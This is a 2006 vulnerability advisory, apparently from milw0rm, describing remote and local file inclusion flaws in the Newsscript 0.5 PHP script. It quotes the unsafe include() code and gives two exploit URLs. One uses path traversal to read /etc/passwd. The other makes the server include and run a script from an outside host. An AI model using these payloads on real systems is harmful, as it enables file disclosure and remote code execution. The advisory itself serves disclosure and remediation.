Newsscript <= 0.5 Remote and Local File Include Vulnerability

🗓️ 13 Sep 2006 00:00:00Reported by RootType

Newsscript 0.5 Remote & Local File Include Vulnerability in PH


                                                #  Product : Newsscript

#  Homepage : http://www.webmaster-journal.com

#  Version : 0.5

#  Date : 12-09-2006

#  Vulnerability : Remote &amp; local File Inclusion

#  Risk : High

---------------------------------------------------------------------------------------------------------


#  Description :

Newsscript is a PHP script to manage news items on website without Database.


#  Vulnerable Code :

The first issue is due to an input validation error in the &quot;print/print.php&quot; script that does not validate the &quot;ide&quot; parameter, which could be exploited by remote attackers to include local files with the privileges of the web server.

1    &lt;html&gt;
2    &lt;head&gt;
3    &lt;?
4 $file_name = &quot;../&quot;.$ide.&quot;.txt&quot;;
5    ?&gt;


27    include($file_name);


The second flaw is due to an input validation error in the &quot;article.php&quot; script that does not validate the &quot;ide&quot; parameter, which could be exploited by attackers to include remote or local files and execute arbitrary commands with privileges of the web server.

1 &lt;?
2 include($ide.&quot;.txt&quot;);
3 ?&gt;


#  Exploit :

http://localhost/newscript/print/print.php?ide=../../../../etc/passwd%00

http://localhost/newscript/article.php?ide=http://site.com/script.txt ?


#  Solution :

Update to a newer version


#  Discovered By:

Daftrix[at]Gmail.com
Daftrix Security Investigations
http://www.Daftrix.com

# milw0rm.com [2006-09-13]

13 Sep 2006 00:00Current

7.1High risk

Vulners AI Score7.1

Newsscript &lt;= 0.5 Remote and Local File Include Vulnerability

Newsscript <= 0.5 Remote and Local File Include Vulnerability